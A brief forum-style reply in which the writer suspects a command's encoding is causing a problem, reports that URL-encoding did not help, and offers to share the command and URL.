I guess the issue may be from the encoding of the command but I have tried url encoding it but it didn’t work

I could share the command and url here if you can help figure it out